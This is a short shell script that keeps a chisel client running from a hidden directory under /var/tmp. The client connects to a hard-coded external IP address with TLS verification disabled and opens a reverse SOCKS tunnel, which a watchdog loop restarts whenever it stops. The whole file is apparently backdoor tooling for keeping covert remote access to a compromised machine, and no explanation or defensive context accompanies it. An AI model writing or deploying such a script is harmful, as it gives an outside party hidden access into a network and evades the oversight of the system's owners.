#!/bin/sh
D=/var/tmp/.rs
BIN=$D/chisel
LOG=$D/client.log
PID=$D/client.pid
URL=https://124.198.132.195:443
if [ ! -x "$BIN" ] || [ ! -r "$D/auth" ]; then exit 1; fi
trap 'rm -f "$PID"; exit 0' TERM INT
while :; do
    if [ -f "$PID" ]; then
        OLD=$(sed -n '1p' "$PID" 2>/dev/null)
        if [ -n "$OLD" ] && kill -0 "$OLD" 2>/dev/null; then
            sleep 5
            continue
        fi
        rm -f "$PID"
    fi
    "$BIN" client --auth "$(cat "$D/auth")" --tls-skip-verify \
        --keepalive 10s "$URL" R:socks >>"$LOG" 2>&1 &
    AGENT=$!
    echo "$AGENT" >"$PID"
    while kill -0 "$AGENT" 2>/dev/null; do sleep 5; done
    rm -f "$PID"
    sleep 2
done
